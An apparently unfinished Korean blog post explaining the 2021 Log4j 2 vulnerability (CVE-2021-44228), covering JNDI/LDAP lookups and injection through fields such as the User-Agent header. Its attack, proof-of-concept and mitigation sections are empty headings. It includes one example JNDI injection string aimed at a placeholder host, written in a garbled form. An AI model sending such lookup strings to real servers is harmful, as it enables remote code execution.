728x90
반응형
test
test
test
728x90
반응형
728x90
반응형
728x90
반응형
728x90
반응형

 

정보 취합 및 정리 예정(취합중)

 

 

1. log4j 2 보안 취약점 개요

가. log4j 2 정의

자바 기반 로깅 유틸리티이다. 아파치 소프트웨어 재단의 프로젝트 아파치 로깅 서비스(Apache Logging Services)의 일부이다. 또, Log4j는 여러 자바 로깅 프레임워크들 가운데 하나이다. 최종 사용자가 제품의 문제나 정보를 식별하기 위해, 그리고 소프트웨어 개발자가 프로그램을 개발하는 도중에 디버깅 등을 위해 타임스탬프 등 정해진 양식에 맞추어 화면 상이나 파일로 로그를 남길 목적으로 사용

 

Log4j는 Java/Kotlin/Scala 코딩 도중에 프로그램의 로그를 기록해주는 라이브러리으로, 이클립스, IntelliJ IDEA, 안드로이드 스튜디오 등에 추가해서 프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해주는 기능을 한다.

 

다운로드 주소  :  https://archive.apache.org/dist/logging/log4j/

 


 

나. log4j 2 보안 취약점 정의

2021년 12월 9일, 제로 데이 임의 코드 실행 취약점이 Log4j 2에서 보고되었다.

 

CVE-2021-44228, 아파치 소프트웨어 재단의 자바 언어로 제작된 Log4j 라이브러리를 사용하는 대부분의 인터넷 서비스에서 매우 중대한 보안 취약점이 발견된 사건.

 

하트블리드 사태와 비슷하게 이 취약점 사태 또한 여파와 다르게 취약점의 원리가 간단하다.

우선 이 취약점은 JNDI와 LDAP를 이용한다. JNDI는 Java Naming and Directory Interface의 약자로 1990년대 후반부터 Java에 추가된 인터페이스이다. Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스이다.

JNDI는 이러한 디렉토리 서비스를 위해 다양한 인터페이스가 존재하는데 그 중 하나가 LDAP이다. 이 LDAP가 이번 취약점에 가장 중요한 포인트이다.

Java 프로그램들은 앞서 말한 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있다. 
예시로 URL ldap://localhost:389/o=JNDITutorial을 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있는 것이다.

이게 문제가 되는 Log4j에 더욱 편리하게 사용하기 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하기 때문이다. 예를 들어 ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있게 한다.

이런 문법은 로그가 기록될 때도 사용이 가능 했고, 결국 해커가 로그에 기록되는 곳을 찾아

${jndi:sndi:snd://example.com/a}과 같은 값을 추가하기만 하면 취약점을 이용할 수 있는 것이다.

이 값을 넣는 방법은 User-Agent와 같은 일반적인 HTTP 헤더일 수도 있고 여러가지 방법이 있다.

 

https://issues.apache.org/jira/browse/LOG4J2-313 앞 링크의 이슈로 부터 시작 되었다. Lookup 플러그인에 jndi을 추가하는게 이 이슈의 목적이였고, 추가된 jndi를 통해 취약점이 발생하게 된 것이다.
이 패치는 이슈에서 보다시피 2.0-beta9 버전에 적용되었고 이 사태가 벌여지기까지 약 8년이라는 오랜 기간동안 방치되었다.

 

문제가 된 것은 Log4j 라이브러리의 취약점(명령어를 실행시킬 수 있다는) 때문인데, 이것은 현재 대부분의 자바 웹프로그래밍 서버에서 사용되고 있는 라이브러리이기 때문에 애플이나 트위터 등등에도 이 버그가 영향을 미칠 수 있다고 AP통신이 보도했다.

또한 이 이슈가 문제가 되는 것은 "서버에 로그인한 것 만으로 해커가 사용자의 컴퓨터를 사실상 원격 조종할 수 있는 것이기 때문이다."라고 경고했다.

뉴질랜드 정부는 이 버그가 공개된지 몇 시간이 지나지 않았지만 이미 많은 공격이 이루어지고 있다고 정부 보도를 통해 발표하고 이어 이용자들의 대응 방안까지 소개하였다.

 

[출처 : 나무위키(https://namu.wiki/w/2021%EB%85%84%20%EC%9E%90%EB%B0%94%20%EB%B3%B4%EC%95%88%20%EC%B7%A8%EC%95%BD%EC%A0%90%20%EC%82%AC%ED%83%9C)]

 


 

2. log4j 2 보안 취약점 상세

가. log4j 2 공격 방안

 

나. log4j 2 PoC 코드

 

 

3. log4j 2 조치 방안 연구

 

 

728x90
반응형

'비즈니스 > IT Trend & News(중점업데이트)' 카테고리의 다른 글

api_test2  (0) 2022.03.01
api_test  (0) 2022.03.01

+ Recent posts